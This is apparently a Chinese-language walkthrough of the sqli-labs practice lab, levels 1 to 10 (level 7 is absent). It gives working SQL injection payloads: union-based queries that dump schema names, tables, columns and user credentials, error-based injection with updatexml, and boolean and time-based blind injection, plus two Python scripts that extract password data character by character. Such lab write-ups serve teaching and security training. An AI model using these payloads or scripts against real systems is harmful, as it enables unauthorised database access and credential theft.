sqli-labs 1-10通关教程

第一关:GET字符型注入

正常输入:

id=1

字符型注入

id=1' and 1='1

有数据

id=1' and 1='2

无数据

{当输入 and 1='1时,后台执行 Sql 语句:



select * from <表名> where id = 'x' and 1='1'



语法正确,逻辑判断正确,所以返回正确。



当输入 and 1='2时,后台执行 Sql 语句:



select * from where id = 'x' and 1='2'



语法正确,但逻辑判断错误,所以返回错误。}

报错,说明是字符型注入

我们输入的--+变成了--空格,此时--后面的语句被注释掉了,不会再执行

字段数

id=0' order by 1,2,3,4,5,6,7,8,9,10 --+

 数据库

id=0' union SELECT 1,2,database() --+

获取所有的数据库

id=0' union SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+

 表

id=0' union SELECT 1,2,group_concat(table_name) from information_schema.tables WHERE table_schema=database() --+

 列名

id=0' union SELECT 1,2,group_concat(column_name) from information_schema.columns WHERE table_name='users' --+

 查询数据

id=0' union SELECT 1,2,group_concat(username) from users --+

 第二关:GET数字型注入

查列数

id=1 order by 1,2,3,4,5

查数据库

id=0 union select 1,2,database() --+

id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata

查表

id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

查字段

id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'

查数据

id=0 union select 1,2,group_concat(username) from users

第三关:GET单引号构造闭合

闭合为('')

判断注入类型

id=1) and 1=1 --+

id=1) and 1=2 --+

 以上两个payload都可以返回数据,说明不是数字型注入

id=1') and 1=1 --+

 能返回数据

id=1') and 1=2 --+

不能返回数据

说明是字符型包含闭合的注入

查字段数

id=1') order by 1,2,3,4 --+

查数据库

id=0') union select 1,2, group_concat(schema_name) from information_schema.schemata --+

id=0') union select 1,2, database() --+

查表名

id=0') union select 1,2,group_concat(table_name) from information_schema.tables WHERE table_schema=database() --+

查列名

id=0') union select 1,2,group_concat(column_name) from information_schema.columns WHERE table_name='users' --+

查数据

id=0') union select 1,2,group_concat(username) from users --+

第四关:GET双引号闭合sql语句

闭合方式("")

判断类型

双引号闭合

id=1") and 1=2 --+

查字段数

3个字段数

id=1") order by 1,2,3,4 --+

查数据库

id=0") union select 1,2, group_concat(schema_name) from information_schema.schemata --+

查询数据表

id=0") union select 1,2, group_concat(table_name) from information_schema.tables WHERE table_schema=database() --+

查询列名

id=0") union select 1,2, group_concat(column_name) from information_schema.columns WHERE table_name='users' --+

查询数据

id=0") union select 1,2, group_concat(username) from users--+

第五关 :GET单引号盲注和报错注入

注入类型

id=1' and 1=1 --+

有数据

id=1' and 1=2 --+

无数据

单引号字符型盲注

脚本自动化

通过每一位的比较真假,得出每一位的字符。

id=1' and 1=if(ascii(substr(database(),1,1))>32,1,0)--+

手动太麻烦,直接上Python脚本:

import requests

url = "url/Less-5/?id=1' and 1= "

result = ''

i = 0



while True:

i = i + 1

head = 32

tail = 127



while head < tail:

mid = (head + tail) >> 1

# payload = f'if(ascii(substr(database(),{i},1))>{mid},1,0)--+'

# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)--+'

# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,0)--+'

# payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,0)--+'

payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,0)--+'

r = requests.get(url + payload)

if "You are in" in r.text:

head = mid + 1

else:

tail = mid



if head != 32:

result += chr(head)

else:

break

print(result)

updatexml报错注入

id=1' and updatexml(1, concat(0x7e, (select database()), 0x73), 1)--+

重复报错

id=' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a --+

第六关:GET双引号时间盲注与报错注入

注入类型

id=1" and 1=1 --+

id=1" and 1=2 --+

双引号字符型盲注

自动化脚本

import requests

url = "url/Less-6/?id=1\" and 1= "



result = ''

i = 0



while True:

i = i + 1

head = 32

tail = 127



while head < tail:

mid = (head + tail) >> 1

payload = f'if(ascii(substr(database(),{i},1))>{mid},1,sleep(3))--+'

# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,sleep(3))--+'

# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,sleep(3))--+'

# payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,sleep(3))--+'

# payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,sleep(3))--+'

try:

r = requests.get(url + payload, timeout=2)

head = mid + 1

except Exception as e:

tail = mid



if head != 32:

result += chr(head)

else:

break

print(result)

updatexml注入

id=1" and updatexml(1, concat(0x7e, (select database()), 0x73), 1)--+

重复报错注入

id=" union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a --+

 第八关:GET单引号盲注+无报错

跟第五关的盲注一样,mysql_error()注释掉了,不能报错注入。

没有任何提示,因为它把错误信息隐藏了,所以并不能用显错式注入,只能用盲注。

盲注需要掌握一些MySQL的相关函数:

length(str):返回str字符串的长度。

substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,len):跟上面的一样,截取字符串

ascii(str):返回字符串str的最左面字符的ASCII代码值。

ord(str):同上,返回ascii码

if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

首先要记得常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57

首先select database()查询数据库

ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码

ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0

首先要记得常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57

?id=1' and if(ascii(substr((select database()),1,1))>64, 1, 0) %23

或者这样就简单一点

?id=1' and ascii(substr((select database()),1,1))>64 %23

为什么这里是布尔型盲注呢,因为这里没把数据输出,只是$row有数据和无数据的时候显示的结果不一样

猜测数据库名字第一个字母:

?id=1' and ascii(substr((select database()),1,1))>114 --+

大于114时返回正确

?id=1' and ascii(substr((select database()),1,1))>115 --+

这时错误,说明ascii应该为115,即s,再接着推测第二个,然后可判断应该为security数据库,然后依次推出其他数据,比较麻烦。

?id=1' and left(database(),1)='s' --+

返回正确,可确定第一个字母为s.

猜数据库名第一个字母具体过程,使用二分法

1.?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确,大于64

1.?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96

2.?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122

3.?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122

4.?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间

5.?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间

6.?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间

7.?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字母s

盲注过程是漫长的,一般是自己写脚本或使用工具辅助

第九关:GET - 盲注 - 基于时间 - 单引号

方法一:参考目录文章MySQL盲注:基于时间延迟注入(Sleep函数)

方法二:

?id=1' 其余与Less-10相同。

基础知识:

​ 1.sleep(x): 执行后,睡眠x秒后执行。

​ 2.if(a,b,c): 如果a正确,b执行否则c执行。

注入:

​ 1.基于' 的时间盲注。

​ 2.?id=1 ,?id=1' 发现不论对错不会回显且不会产生变化,采用时间盲注。

​ 3.?id=1 and sleep(5) –+ ,?id=1' and sleep(5) --+ 判断闭合。

​ 4.?id=1' and if(length(database())=7,1,sleep(5)) --+ ,判断数据库名长度。

​ 5.?id=1' and if(substr(database(),1,1)='s' ,sleep(5),1) --+ ,判断数据库名。或 ?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+ ,判断数据库名。通过改变substr的步长来逐步猜测。

​ 6.?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=114,sleep(5),1) --+ ,判断表名。改变limit,substr步数逐步判断。

​ 7.同理得到列名,账号密码。

第十关: GET - 盲注 - 基于时间 - 双引号

​ 1.基于 “ 的时间盲注。

​ 2.?id=1” 其余与Less-9相同。

http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(length(database())=7,1,sleep(5)) --+

http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+ 判断数据库名。通过改变substr的步长来逐步猜测。

或者

http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(substr(database(),1,1)='s',sleep(5),1) --+,判断数据库

http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) =114,sleep(5),1) --+

或者

http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) =114,sleep(5),1) --+

你可能感兴趣的:(sql,数据库)